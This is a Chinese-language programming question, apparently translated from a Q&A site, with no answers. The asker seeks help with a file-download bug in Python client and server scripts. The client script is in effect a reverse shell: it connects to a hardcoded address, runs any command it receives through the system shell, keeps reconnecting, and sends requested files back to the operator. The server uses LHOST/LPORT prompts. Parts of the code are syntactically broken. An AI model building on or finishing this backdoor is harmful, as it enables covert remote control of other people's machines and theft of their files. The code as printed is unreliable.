python客户端/服务器文件传输

时间:2018-10-04 10:04:31

标签: python tcp server client

大家好,抱歉我的英语。 我正在尝试使用python创建客户端/服务器程序,其中服务器向客户端发送命令以检索信息,例如dircd directory。现在,我想实现一种下载和上传文件的方法,但是下载存在问题(我甚至没有编写上传代码)。

它唯一有效的方法是在客户端循环中放入break。但是随后,客户关闭了自己。如果我不放置break,则程序将继续执行无穷大操作,但是我无法再发送命令,并且服务器也不会将文件写入磁盘。因此,它不起作用。

我不知道问题出在客户端还是服务器上。我将发布代码,以便您可以检查出什么问题。

服务器(删除呼叫(它是另一个文件)

import socket
import sys
import time
import interface


def socket_create():
    try:
        global s
        s = socket.socket()
    except socket.error as msg:
        print("Socket creation error: " + str(msg))
    try:
        s.bind((host, port))
        s.listen(1)
        print("Listening on " + str(host) + ":" + str(port))
    except socket.error as msg:
        print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
    conn, address = s.accept()
    print("Connection has been established | " + "IP " + address[0] + " |  Port " + str(address[1]))
    time.sleep(0.5)
    send_commands(conn)

def send_commands(conn):
    client_response = str(conn.recv(4096), "utf-8")
    print(client_response, end="")
    while True:
        try:
            cmd = input()
            if cmd == 'quit':
                conn.close()
                s.close()
                sys.exit()
            elif cmd[:8] == 'download':
                conn.send(str.encode(cmd))
                downFile = cmd[9:]
                client_response = conn.recv(1024)
                f = open(downFile, 'wb')
                print("Downloading " + downFile)
                while client_response:
                    f.write(client_response)
                    client_response = conn.recv(1024)

                    if not client_response:
                        print("Download completed")
                f.close()

            elif len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_response = str(conn.recv(4096), "utf-8")
                print(client_response, end="")
        except (ConnectionResetError, ConnectionAbortedError):
            print("Connection with host was lost")
            s.listen(1)
            print("Listening on " + str(host) + ":" + str(port))
            conn, address = s.accept()
            print("Connection has been established | " + "IP " + address[0] + " |  Port " + str(address[1]))
            send_commands(conn)

def graphic():
    interface.gui()


def main():
  global host
  try:
    host = input("Enter your local host IP > ")
    print("Set LHOST --> %s" % host)
    global port
    port = int(input("Enter the port > "))
    print("Set LPORT --> %s" % port)
    socket_create()
 except (ValueError, OSError, OverflowError):
    print("You entered invalid data")
    main()


 if __name__ == "__main__":
    graphic()

客户

import os
import socket
import subprocess
import time

def connect_to_server():    
     try:
        global host
        global port
        global s
        host = "192.168.1.3"
        port = 9999
        s = socket.socket()
        s.connect((host, port))
        s.send(str.encode(os.getcwd() + '> '))
        receive_commands()
        except (ConnectionRefusedError, ConnectionResetError, 
        ConnectionAbortedError):
        time.sleep(5)
        connect_to_server()

def receive_commands():
    while True:
        data = s.recv(1024)

        if data[:3].decode("utf-8") == 'cd ':
            try:
                cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, 
                stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE,
                                   stdin=subprocess.PIPE)

                output_bytes = cmd.stdout.read() + cmd.stderr.read()
                os.chdir(data[3:])
                s.send(str.encode(os.getcwd() + '> '))

            except FileNotFoundError:
                s.send(output_bytes + str.encode(os.getcwd() + '> '))

        elif data[:8].decode("utf-8") == 'download':

            file_name = data[9:].decode("utf-8")
            with open(file_name, 'rb') as f:
                fileToSend = f.read(1024)
                while fileToSend:
                    s.send(fileToSend)
                    fileToSend = f.read(1024)           
                break


        elif len(data) > 0:
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, 
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                               stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes, "utf-8", errors='ignore')
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))

    while not data:
        connect_to_server()


def main():
    connect_to_server()


main()

0 个答案:

没有答案